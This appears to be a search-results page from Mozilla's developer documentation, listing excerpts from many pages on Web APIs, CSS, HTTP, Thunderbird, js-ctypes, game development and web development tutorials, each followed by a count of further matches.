...And 19 more matches
Address Book examples
assuming you have the uri, then use the address book manager to get an nsiabdirectory representing the address book: let abmanager = components.classes["@mozilla.org/abmanager;1"] .getservice(components.interfaces.nsiabmanager); let oneaddressbook = abmanager.getdirectory(addressbookuri); how do i search for a particular contact property (name, email)?
... once you have an object that implements nsiabcollection (see above), you can search for cards with particular properties within that collection using getcardfromproperty.
... this function will return the first match that it finds in the collection or null.
...And 19 more matches
Mail composition back end
by richard h.
...this will change in the coming weeks and allow for developers to write javascript to take advantage of the back end services.
...the feedback mechanism is provided by a nsimsgsendlistener which is implemented by the caller.
...And 19 more matches
Standard OS Libraries
i then searched it on msdn and saw that it needed the user32.dll.
... components.utils.import("resource://gre/modules/ctypes.jsm"); var lib = ctypes.open("user32.dll"); /* note: if you go to getcursorpos page on msdn, it says first argument is of structure point, so lets create that structure, * the link here shows that that x and y are type long which is ctypes.long */ // https://msdn.microsoft.com/en-us/library/windows/desktop/dd162805%28v=vs.85%29.aspx var point = new ctypes.structtype("tagpoint", [ { "x": ctypes.long }, { "y": ctypes.long } ]); /* declare the signature of the function we are going to call */ var getcursorpos = lib.declare('getcursorpos', ctypes.winapi_abi, ctypes.bool, point.ptr ); /* use it like this */ ...
...var point = point(); var ret = getcursorpos(point.address()); components.utils.reporterror(ret); components.utils.reporterror(point); lib.close(); resources for winapi githubgists :: noitidart / search · winapi - winapi js-ctypes snippets that can be copied and pasted to scratchpad com see using com from js-ctypes.
...And 19 more matches
BaseAudioContext - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/baseaudiocontext" target="_top"><rect x="151" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="231" y="30" font-size="12px" fon...
...t-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">baseaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties baseaudiocontext.audioworklet read only secure context returns the audioworklet object, which can be used to create and manage audionodes in which javascript code implementing the audioworkletprocessor interface are run in the background to process audio data.
... baseaudiocontext.currenttime read only returns a double representing an ever-increasing hardware time in seconds used for scheduling.
...And 19 more matches
BluetoothRemoteGATTDescriptor - Web APIs
the bluetoothremotegattdescriptor interface of the web bluetooth api provides a gatt descriptor, which provides further information about a characteristic’s value.
... interface interface bluetoothremotegattdescriptor { readonly attribute bluetoothgattcharacteristic characteristic; readonly attribute uuid uuid; readonly attribute arraybuffer?
... value; promise<arraybuffer> readvalue(); promise<void> writevalue(buffersource value); }; properties bluetoothremotegattdescriptor.characteristicread only returns the bluetoothremotegattcharacteristic this descriptor belongs to.
...And 19 more matches
FileSystemDirectoryReader.readEntries() - Web APIs
generally, they are either filesystemfileentry objects, which represent standard files, or filesystemdirectoryentry objects, which represent directories.
... syntax readentries(successcallback[, errorcallback]); parameters successcallback a function which is called when the directory's contents have been retrieved.
... the function receives a single input parameter: an array of file system entry objects, each based on filesystementry.
...And 19 more matches
HTML Drag and Drop API - Web APIs
for web sites, extensions, and xul applications, you can customize which elements can become draggable, the type of feedback the draggable elements produce, and the droppable elements.
... during drag operations, several event types are fired, and some events might fire many times, such as the drag and dragover events.
... each drag event type has an associated global event handler: event on event handler fires when… drag ondrag …a dragged item (element or text selection) is dragged.
...And 19 more matches
Payment processing concepts - Web APIs
in this article, we'll take a look at how the api operates and what each of its components does.
... payee (or merchant) the merchant—either a person or an organization—whose web site or app wishes to receive money through the payment request api.
... payer the person or organization making a purchase using a web site or app.
...And 19 more matches
RTCConfiguration - Web APIs
it may be passed into the constructor when instantiating a connection, or used with the rtcpeerconnection.getconfiguration() and rtcpeerconnection.setconfiguration() methods, which allow inspecting and changing the configuration while a connection is established.
... certificates optional an array of objects of type rtccertificate which are used by the connection for authentication.
... if this property isn't specified, a set of certificates is generated automatically for each rtcpeerconnection instance.
...And 19 more matches
XRSession - Web APIs
WebAPIXRSession
environmentblendmode read only returns this session's blend mode which denotes how much of the real-world environment is visible through the xr device and how the device will blend the device imagery with it.
... note: environmentblendmode() is part of the webxr augmented reality module, which has not been completed.
... inputsources read only returns a list of this session's xrinputsources, each representing an input device used to control the camera and/or scene.
...And 19 more matches
XRView - Web APIs
WebAPIXRView
a 3d frame will involve two views, one for each eye, separated by an appropriate distance which approximates the distance between the viewer's eyes.
... properties eye read only which of the two eyes (left) or (right) for which this xrview represents the perspective.
... this value is used to ensure that any content which is pre-rendered for presenting to a specific eye is distributed or positioned correctly.
...And 19 more matches
Accessibility Information for Web Authors - Accessibility
other organizations such as schools are starting to follow these guidelines as well.
... how-to's key-navigable custom dhtml widgets in mozilla & ie this document discusses how to use tabindex, element.focus() and onkeypress to make custom dhtml widgets such as menus or tree views keyboard accessible.
... dive into accessibility by mark pilgrim an excellent, easy-to-understand resource (available in english and in 9 other languages) on accessible website authoring, which goes into greater depth.
...And 19 more matches
Ordering Flex Items - CSS: Cascading Style Sheets
new layout methods such as flexbox and grid bring with them the possibility of controlling the order of content.
... in this article we will take a look at ways in which you can change the visual order of your content when using flexbox.
... the second two values ​​reverse the items by switching the start and end lines.
...And 19 more matches
Using CSS gradients - CSS: Cascading Style Sheets
you can choose between three types of gradients: linear (created with the linear-gradient() function), radial (created with radial-gradient()), and conic (created with the conic-gradient() function).
... gradients can be used anywhere you would use an <image>, such as in backgrounds.
... because gradients are dynamically generated, they can negate the need for the raster image files that traditionally were used to achieve similar effects.
...And 19 more matches
break-after - CSS: Cascading Style Sheets
-after: all; /* page break values */ break-after: avoid-page; break-after: page; break-after: left; break-after: right; break-after: recto; break-after: verso; /* column break values */ break-after: avoid-column; break-after: column; /* region break values */ break-after: avoid-region; break-after: region; /* global values */ break-after: inherit; break-after: initial; break-after: unset; each possible break point (in other words, each element boundary) is affected by three properties: the break-after value of the previous element, the break-before value of the next element, and the break-inside value of the containing element.
...if more than one of them are such a break, the one of the element that appears the latest in the flow is taken (i.e., the break-before value has precedence over the break-after value, which itself has precedence over the break-inside value).
... if any of the three concerned values is an avoid break value (avoid, avoid-page, avoid-region, or avoid-column), no such break will be applied at that point.
...And 19 more matches
CSP: script-src - HTTP
this includes not only urls loaded directly into <script> elements, but also things like inline script event handlers (onclick) and xslt stylesheets which can trigger script execution.
... csp version 1 directive type fetch directive default-src fallback yes.
... syntax one or more sources can be allowed for the script-src policy: content-security-policy: script-src <source>; content-security-policy: script-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
...And 19 more matches
HTTP response status codes - HTTP
WebHTTPStatus
101 switching protocol this code is sent in response to an upgrade request header from the client, and indicates the protocol the server is switching to.
...the meaning of the success depends on the http method: get: the resource has been fetched and is transmitted in the message body.
...it is noncommittal, since there is no way in http to later send an asynchronous response indicating the outcome of the request.
...And 19 more matches
Building up a basic demo with A-Frame - Game development
mozilla's a-frame framework provides a markup language allowing us to build 3d vr landscapes using a system familiar to web developers, which follows game development coding principles; this is useful for quickly and successfully building prototypes and demos, without having to write a lot of javascript or glsl.
... high level overview the current version of a-frame is 0.3.2, which means it's highly experimental, but it already works and you can test it right away in the browser.
...it is based on the entity component system, which is known in the game development world, but it targets web developers with a familiar markup structure, manipulable with javascript.
...And 18 more matches
Building up a basic demo with PlayCanvas editor - Game development
instead of coding everything from scratch you can also use the online playcanvas editor.
...here's what the page looks like — you can create projects and manage them, change their settings etc.
... next you'll see your project's page — there's not much yet.
...And 18 more matches
Desktop mouse and keyboard controls - Game development
previous overview: control mechanisms next now when we have our mobile controls in place and the game is playable on touch-enabled devices, it would be good to add mouse and keyboard support, so the game can be playable also on desktop.
... it's also easier to test control-independent features like gameplay on desktop if you develop it there, so you don't have to push the files to a mobile device every time you make a change in the source code.
...the good thing about using phaser is that it offers helper variables and functions for easier and faster development, but it's totally up to you which approach you chose.
...And 18 more matches
Advanced styling effects - Learn web development
this article acts as a box of tricks, providing an introduction to some interesting advanced styling features such as box shadows, blend modes, and filters.
...first, some html: <article class="simple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> now the css: p { margin: 0; } article { max-width: 500px; padding: 10px; background-color: red; background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .simple { box-shadow: 5px 5px 5px rgba(0,0,0,0.7); } this gives us the following result: you'll see that we've got four items in the box-shadow property value: the ...
... multiple box shadows you can also specify multiple box shadows in a single box-shadow declaration, by separating them with commas: <article class="multiple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> p { margin: 0; } article { max-width: 500px; padding: 10px; background-color: red; background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .multiple { box-shadow: 1px 1px 1px black, 2px 2px 1px black, 3px 3px 1px red, 4px 4px 1px red, 5px 5px 1px black, ...
...And 18 more matches
HTML table advanced features and accessibility - Learn web development
previous overview: tables next in the second article in this module, we look at some more advanced features of html tables — such as captions/summaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for visually impaired users.
... open up your language teacher's school timetable from the end of html table basics, or make a local copy of our timetable-fixed.html file.
...one clear way to do this is by using <thead>, <tfoot>, and <tbody>, which allow you to mark up a header, footer, and body section for the table.
...And 18 more matches
Functions — reusable blocks of code - Learn web development
previous overview: building blocks next another essential concept in coding is functions, which allow you to store a piece of code that does a single task inside a defined block, and then call that code whenever you need it using a single short command — rather than having to type out the same code multiple times.
... in this article we'll explore fundamental concepts behind functions such as basic syntax, how to invoke and define them, scope, and parameters.
...in fact, we've been using functions all the way through the course so far; we've just not been talking about them very much.
...And 18 more matches
Handling text — strings in JavaScript - Learn web development
in this article, we'll look at all the common things that you really ought to know about strings when learning javascript, such as creating strings, escaping quotes in strings, and joining strings together.
...html provides structure and meaning to our text, css allows us to precisely style it, and javascript contains a number of features for manipulating strings, creating custom welcome messages and prompts, showing the right text labels when needed, sorting terms into the desired order, and much more.
... pretty much all of the programs we've shown you so far in the course have involved some string manipulation.
...And 18 more matches
Beginning our React todo list - Learn web development
this article will walk you through putting the basic app component structure and styling in place, ready for individual component definition and interactivity, which we'll add later.
... note: if you need to check your code against our version, you can find a finished version of the sample react app code in our todo-react repository.
... <span classname="visually-hidden"> tasks</span> </button> </div> <h2 id="list-heading"> 3 tasks remaining </h2> <ul role="list" classname="todo-list stack-large stack-exception" aria-labelledby="list-heading" > <li classname="todo stack-small"> <div classname="c-cb"> <input id="todo-0" type="checkbox" defaultchecked={true} /> <label classname="todo-label" htmlfor="todo-0"> eat </label> </div> <div classname="btn-group"> <button type="button" classname="btn"> edit <span classname="visually-hidden">eat</span> </button> <button type="button" classname="btn btn__danger"> ...
...And 18 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
previous overview: client-side javascript frameworks next we now have sample data in place, and a loop that takes each bit of data and renders it inside a todoitem in our app.
...however, we can't update our list of items without manually changing our code!
... </label> <input type="text" id="new-todo-input" name="new-todo" autocomplete="off" /> <button type="submit"> add </button> </form> </template> so we now have a form component into which we can enter the title of a new todo item (which will become a label for the corresponding todoitem when it is eventually rendered).
...And 18 more matches
HTTP logging
your bug), which makes the http log much smaller and easier to analyze.
... launch the browser and get it into whatever state you need to be in just before your bug occurs.
...you will see several files that look like: log.txt-main.1806, log.txt-child.1954, log.txt-child.1970, etc.
...And 18 more matches
Following the Android Toasts Tutorial from a JNI Perspective
this article teaches developers how to port java code to jni by reading the java and android documentation.
... java code let's start with the following java code, which invokes a toast and says "hello, firefox!".
... context context = getapplicationcontext(); charsequence text = "hello, firefox!"; int duration = toast.length_short; toast toast = toast.maketext(context, text, duration); toast.show(); nativewindow code as mentioned earlier, toasts are a very popular feature, so mozilla developers chose to bring it to the privileged javascript scope via the nativewindow object.
...And 18 more matches
NetUtil.jsm
method overview nsiasyncstreamcopier asynccopy(nsiinputstream asource, nsioutputstream asink, [optional] acallback) void asyncfetch(asource, acallback) nsichannel newchannel(awhattoload, [optional] aorigincharset, [optional] nsiuri abaseuri) nsiuri newuri(atarget, [optional] aorigincharset, [optional] nsiuri abaseuri) string readinputstreamtostring(ainputstream, acount, aoptions) attributes attribute type description ioservice nsiioservice returns a reference to...
... methods asynccopy() the asynccopy() method performs a simple asynchronous copy of data from a source input stream to a destination output stream.
... nsiasyncstreamcopier asynccopy( asource, asink, acallback ); parameters asource the input stream from which to read the source data.
...And 18 more matches
Using the viewport meta tag to control layout on mobile browsers
background the browser's viewport is the area of the window in which web content can be seen.
... this is often not the same size as the rendered page, in which case the browser provides scrollbars for the user to scroll around and access all the content.
...mobiles) render pages in a virtual window or viewport, which is usually wider than the screen, and then shrink the rendered result down so it can all be seen at once.
...And 18 more matches
NSS 3.24 release notes
introduction the network security services (nss) team has released nss 3.24, which is a minor release.
... new functionality nss softoken has been updated with the latest national institute of standards and technology (nist) guidance (as of 2015): software integrity checks and post functions are executed on shared library load.
... these checks have been disabled by default, as they can cause a performance regression.
...And 18 more matches
Rhino scopes and contexts
simple embeddings of rhino probably won't need any of the information here, but more complicated embeddings can gain performance and flexibility from the techniques described below.
...there should be one and only one context associated with each thread that will be executing javascript.
...only when the counter reaches zero will it be disassociated from the thread.
...And 18 more matches
Exact Stack Rooting
since the gc may move gcthings, it very important that spidermonkey know about each and every gcpointer in the system.
...gcpointers can be stored as a property of a gcthing, on the cheap, or in the cstack.
... these three storage regions have different lifetime and overhead characteristics and thus require different management strategies for efficient space and cpu utilization.
...And 18 more matches
XForms Accessibility
assistive technologies api for xforms is supported starting from firefox 3 (gecko 1.9).
... implementation of accessible objects for xforms elements is based on top of the existing object hierarchy introduced in the mozilla accessibility module.
... xforms elements behavior is implemented in accordance with accessible toolkit checklist.
...And 18 more matches
Setting up the Gecko SDK
« previousnext » this chapter provides basic setup information for the gecko software development kit (sdk) used to build the weblock component in this tutorial.
... the following four sections tell the developer how to download and organize the gecko sdk and create a new project in which components like weblock can be created.
...the sdk is available for windows, linux, and mac operating systems, and versions for other operating systems are being developed, and can be retrieved from as a single archive from the following platform-specific locations (need correction for last version (now 1.9.2.8).
...And 18 more matches
mozIAsyncFavicons
toolkit/components/places/moziasyncfavicons.idlscriptable interface for accessing the favicon service asynchronously.
... 1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) nsifaviconservice handles this interface, so you do not need to directly create a new service.
...method overview void getfaviconurlforpage(in nsiuri apageuri, in nsifavicondatacallback acallback); void getfavicondataforpage(in nsiuri apageuri, in nsifavicondatacallback acallback); void setandfetchfaviconforpage(in nsiuri apageuri, in nsiuri afaviconuri, in boolean aforcereload, in unsigned long afaviconloadtype, [optional] in nsifavicondatacallback acallback); void replacefavicondata(in nsiuri afaviconuri, [const,array,size_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, [optional] in prtime aexpiration); void replacefavicondatafromdat...
...And 18 more matches
Autoconfiguration in Thunderbird
author: ben bucksch please do not change this document without consulting the author thunderbird 3.1 and later (and 3.0 to some degree) includes mail account autoconfiguration functionality.
... mechanisms thunderbird gets the server settings via different means, each of which is intended for different cases: ispdb the ispdb is a central database, currently hosted by the thunderbird project, but free to use for any client.
... configuration server at isp isps have the option to provide their configuration information themselves directly to users, by setting up a web server at autoconfig.<domain>, which simply returns a static xml file with the configuration, as described below.
...And 18 more matches
Mail event system
mozilla mail requires an event system to notify different subsystems that data has changed.
...the folder pane needs to know that this changed so that it can update the message count so the user can see it.
... interfaces the key interfaces here are: nsifolder.idl is an interface for storing a hierarchy of objects with properties.
...And 18 more matches
Thunderbird Binaries
additionally, ad-hoc packages called try builds are made available on an as-needed basis to allow for testing of certain patches, and are typically announced in related bug reports.
... preview releases are available from http://www.mozilla.org/thunderbird/channel/ nightly builds nightly builds are cutting-edge builds.
...trunk builds contain the very latest bleeding-edge changes and updates, as well as 64-bit builds for windows.
...And 18 more matches
Debugger.Memory - Firefox Developer Tools
debugger.memory the debugger api can help tools observe the debuggee’s memory use in various ways: it can mark each new object with the javascript call stack at which it was allocated.
... it can log all object allocations, yielding a stream of javascript call stacks at which allocations have occurred.
... allocation site tracking the javascript engine marks each new object with the call stack at which it was allocated, if: the object is allocated in the scope of a global object that is a debuggee of some debugger instancedbg; and dbg.memory.trackingallocationsites is set to true.
...And 18 more matches
Network request details - Firefox Developer Tools
network request details clicking on a row displays a new pane in the right-hand side of the network monitor, which provides more detailed information about the request.
... the tabs at the top of this pane enable you to switch between the following pages: headers messages (only for websocket items) cookies params response cache timings security (only for secure pages) stack trace (only when the request has a stack trace, e.g.
... http response headers http request headers each section has a disclosure triangle to expand the section to show more information.
...And 18 more matches
Intensive JavaScript - Firefox Developer Tools
in this article we'll take an example site whose long-running javascript causes responsiveness problems, and apply two different approaches to fixing them.
... the first is to split long-running functions into pieces and use requestanimationframe to schedule each piece, and the second is to run the whole function in a separate thread using a web worker.
... leaving the radio button set to "use blocking call in main thread", make a recording: press the "start animations" button start recording a performance profile press "do pointless computations!" two or three times stop recording the profile exactly what you see will vary from one machine to another, but it will be something like this: the top half of this is the waterfall overview.
...And 18 more matches
Using images - Web APIs
external images can be used in any format supported by the browser, such as png, gif, or jpeg.
... creating an image from scratch another option is to create new htmlimageelement objects in our script.
...so you need to be sure to use the load event so you don't try this before the image has loaded: var img = new image(); // create new img element img.addeventlistener('load', function() { // execute drawimage statements here }, false); img.src = 'myimage.png'; // set source path if you're only using one external image this can be a good approach, but once you need to track more than one we need to resort to something more clever.
...And 18 more matches
HTMLFormElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlformelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
...And 18 more matches
Page Visibility API - Web APIs
with tabbed browsing, there is a reasonable chance that any given webpage is in the background and thus not visible to the user.
... the page visibility api provides events you can watch for to know when a document becomes visible or hidden, as well as features to look at the current visibility state of the page.
... when the user minimizes the window or switches to another tab, the api sends a visibilitychange event to let listeners know the state of the page has changed.
...And 18 more matches
Perceivable - Accessibility
non-text content refers to multimedia such as images, audio, and video.
... complex images or charts should have an accessible alternative provided, either on the same page or via a link.
...see other text alternative mechanisms for the argument against longdesc.
...And 18 more matches
@font-feature-values - CSS: Cascading Style Sheets
@character-variant specifies a feature name that will work with the character-variant() functional notation of font-variant-alternates.
... a character-variant feature value definition allows either one or two values: ident1: 3 maps to cv03=1, and ident2: 2 4 maps to cv02=4, but ident2: 2 4 5 is invalid.
... formal syntax @font-feature-values <family-name># { <feature-value-block-list> }where <family-name> = <string> | <custom-ident>+<feature-value-block-list> = <feature-value-block>+where <feature-value-block> = <feature-type> '{' <feature-value-declaration-list> '}'where <feature-type> = @stylistic | @historical-forms | @styleset | @character-variant | @swash | @ornaments | @annotation<feature-value-declaration-list> = <feature-value-declaration>where <feature-value-declaration> = <custom-ident>: <integer>+; examples using @styleset in a @font-feature-values rule /* at-rule for "nice-style" in font one */ @font-feature-values font one { @styleset { nice-style: 12; } } /* at-rule for "nice-style" in font two */ @font-feature-values font two { @styleset { nice-style: 4; ...
...And 18 more matches
Using CSS animations - CSS: Cascading Style Sheets
there are three key advantages to css animations over traditional script-driven animation techniques: they’re easy to use for simple animations; you can create them without even having to know javascript.
...the rendering engine can use frame-skipping and other techniques to keep the performance as smooth as possible.
...this does not configure the actual appearance of the animation, which is done using the @keyframes at-rule as described in defining the animation sequence using keyframes below.
...And 18 more matches
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
the history of flexbox as with all css specifications the flexbox specification went through a large number of changes before it became the candidate recommendation that we have today.
... as a candidate recommendation we should not see large changes at this point to the spec, however this has not been the case with past flexbox iterations.
...however, prefixes ultimately were used in production code, and changes to the experimental specification caused people to need to update their sites to keep up.
...And 18 more matches
Block and inline layout in normal flow - CSS: Cascading Style Sheets
normal flow is defined in the css 2.1 specification, which explains that any boxes in normal flow will be part of a formatting context.
... the behaviour of elements which have a block or inline formatting context is also defined in this specification.
... in a block formatting context, each box's left outer edge touches the left edge of the containing block (for right-to-left formatting, right edges touch).” - 9.4.1 for elements with an inline formatting context: “in an inline formatting context, boxes are laid out horizontally, one after the other, beginning at the top of a containing block.
...And 18 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
in this guide, i will explain how a grid fits together with other techniques you may already be using.
...i have five child items in my container, and i have given the flex properties values so that they can grow and shrink from a flex-basis of 150 pixels.
...this is because when you wrap flex items, each new row (or column when working by column) becomes a new flex container.
...And 18 more matches
Logical properties for margins, borders and padding - CSS: Cascading Style Sheets
this is mostly due to the fact that there are four longhand values each for margin, border, and padding side, plus all the shorthand values.
... mappings for margins, borders, and padding the specification details mappings for each logical value to a physical counterpart.
... in the example below i have created two boxes and added different sized margins to each edge.
...And 18 more matches
WAI ARIA Live Regions/API Support - Developer guides
firefox 3 contains important improvements to the way the mozilla engine exposes live changes in a document.
...as always, we're open to questions and suggestions for changes in community forums.
... events fired for web page mutations what changed in document?
...And 18 more matches
HTML5 Parser - Developer guides
WebGuideHTMLHTML5HTML5 Parser
it controls how your html source code is turned into web pages and, as such, changes to it are rare.
...in other words, in supporting html5, gecko, webkit, and internet explorer (ie) will behave more consistently with each other.
... changed parser behaviors some changes to the way that the gecko 2 parser behaves, as compared to earlier versions of gecko, may affect web developers, depending on how you've written your code in the past and what browsers you've tested it on.
...And 18 more matches
HTML5 - Developer guides
WebGuideHTMLHTML5
it is a new version of the language html, with new elements, attributes, and behaviors, and a larger set of technologies that allows the building of more diverse and powerful web sites and applications.
... designed to be usable by all open web developers, this reference page links to numerous resources about html5 technologies, classified into several groups based on their function.
... 2d/3d graphics and effects: allowing a much more diverse range of presentation options.
...And 18 more matches
Date and time formats used in HTML - HTML: Hypertext Markup Language
elements that use such formats include certain forms of the <input> element that let the user choose or specify a date, time, or both, as well as the <ins> and <del> elements, whose datetime attribute specifies the date or date and time at which the insertion or deletion of content occurred.
... for <input>, the values of type that return a value which contains a string representing a date and/or time are: date datetime datetime-local month time week examples before getting into the intricacies of how date and time strings are written and parsed in html, here are some examples that should give you a good idea what the more commonly-used date and time string formats look like.
... character set dates and times in html are always strings which use the ascii character set.
...And 18 more matches
Quantifiers - JavaScript
quantifiers indicate numbers of characters or expressions to match.
... types the following table is also duplicated on this cheatsheet.
... note: in the following, item refers not only to singular characters, but also includes character classes, unicode property escapes, groups and ranges.
...And 18 more matches
Object.defineProperty() - JavaScript
syntax object.defineproperty(obj, prop, descriptor) parameters obj the object on which to define the property.
...normal property addition through assignment creates properties which show up during property enumeration (for...in loop or object.keys method), whose values may be changed, and which may be deleted.
... this method allows these extra details to be changed from their defaults.
...And 18 more matches
String.prototype.split() - JavaScript
the division is done by searching for a pattern; where the pattern is provided as the first parameter in the method's call.
... syntax str.split([separator[, limit]]) parameters separator optional the pattern describing where each split should occur.
... the simplest case is when separator is just a single character; this is used to split a delimited string.
...And 18 more matches
Optimizing startup performance - Web Performance
this article offers tips and suggestions to help you achieve that goal, both when writing a new app and when porting an app from another platform to the web.
...since that's a universal issue, we won't be focusing on it too much here.
... instead, we're going to look at a more important issue when building web apps: starting up as asynchronously as possible.
...And 18 more matches
Content type - SVG: Scalable Vector Graphics
the unit identifiers in such <angle> values must be in lower case.
... anything <anything> the basic type <anything> is a sequence of zero or more characters.
... specifically: anything ::= char* where char is the production for a character, as defined in xml 1.0 , section 2.2.
...And 18 more matches
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
svg 2 is the next major version of the svg standard, which is a complete rework of the svg 1.2 draft.
... version 2 contains a lot of changes regarding the last stable version svg 1.1.
... those changes are listed below including their support status within mozilla applications.
...And 18 more matches
WebAssembly Concepts - WebAssembly
be readable and debuggable — webassembly is a low-level assembly language, but it does have a human-readable text format (the specification for which is still being finalized) that allows code to be written, viewed, and debugged by hand.
... don't break the web — webassembly is designed so that it plays nicely with other web technologies and maintains backwards compatibility.
... the web platform can be thought of as having two parts: a virtual machine (vm) that runs the web app’s code, e.g.
...And 18 more matches
Common causes of memory leaks in extensions - Extensions
all zombie compartments in extensions are caused by a failure to release resources appropriately in certain circumstances, such as when a window is closed, a page unloads, or an extension is disabled or removed.
... while bug 695480 should prevent most of these compartment leaks, add-ons still need to be aware of the practices that caused these leaks, as the fix causes many add-ons which would have otherwise caused a leak to instead throw errors when attempting to access nodes from documents which no longer exist.
...users often only open a single browser window per session and use tabs, in which case the leaked compartments will live for the whole life of the session.
...And 17 more matches
Game distribution - Game development
this article covers all you need to know about the ways in which you can distribute your newly created game into the wild.
... benefits of html5 over native building games with html5 gives you extra advantages, such as: multiplatform bliss the technology itself is multiplatform, so you can write the code once and target multiple devices.
... this can range from low-end smartphones or tablets, through laptops and desktop computers, to smart tvs, watches or even a fridge if it can handle a modern enough browser.
...And 17 more matches
How can we design for all types of users? - Learn web development
objective: universal design means design for everybody, regardless of disabilities or technical constraints.
... summary when you're building a website, one top issue to consider is universal design: accommodating all users regardless of disability, technical constraints, culture, location, and so on.
... note: alternatively you can find a number of contrast checkers online, such as webaim's color contrast checker.
...And 17 more matches
Your first form - Learn web development
we'll expand on each of these subtopics in more detail later on in the module.
...forms allow users to enter data, which is generally sent to a web server for processing and storage (see sending form data later in the module), or used on the client-side to immediately update the interface in some way (for example, add another item to a list, or show or hide a ui feature).
...the controls can be single or multi-line text fields, dropdown boxes, buttons, checkboxes, or radio buttons, and are mostly created using the <input> element, although there are some other elements to learn about too.
...And 17 more matches
Routing in Ember - Learn web development
we'll use it to provide a unique url for each of the three todo views — "all", "active", and "completed".
... a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them.
... an ember application has a default "application" route, which is tied to the app/templates/application.hbs template.
...And 17 more matches
Focus management with Vue refs - Learn web development
we'll look at using vue refs to handle this — an advanced feature that allows you to have direct access to the underlying dom nodes below the virtual dom, or direct access from one component to the internal dom structure of a child component.
... hit it again, and it'll be on the first checkbox.
...the checkbox will be replaced with our edit component, but the focus outline will be gone.
...And 17 more matches
Mozilla's Section 508 Compliance
the united states federal rehabilitation act's section 508 is a new standard for defining accessibility requirements for software and other electronic and information technology.
...here are the section 508 requirements and how far along mozilla seamonkey rv1.8a4 is with each one: requirement windows linux/unix mac os requirement windows linux/unix mac os (a) when software is designed to run on a system that has a keyboard, product functions shall be executable from a keyboard where the function itself or the result of performing a fun...
...s: 1) although sidebar cannot be customized without a mouse, all sidebar functions that come with the browser are available through other means 2) java and in-page plugins cannot be used with the keyboard, so they must not be installed for keyboard-only users additional features for the keyboard: 1) find as you type allows for quick navigation to links and convenient text searching 2) browse with caret (f7 key toggles) allows users to select arbitrary content with the keyboard and move through content as if inside a readonly editor.
...And 17 more matches
Firefox UI considerations for web developers
there are a number of places within the firefox user interface where web sites are listed for the user to choose a destination to visit or a site to manage in some way.
... one example is the new tab page, which includes a "top sites" section showing sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space.
... firefox's top sites box in this article, we take a look at how to influence the appearance of your site in firefox user interface elements such as the top sites box.
...And 17 more matches
Embedding Tips
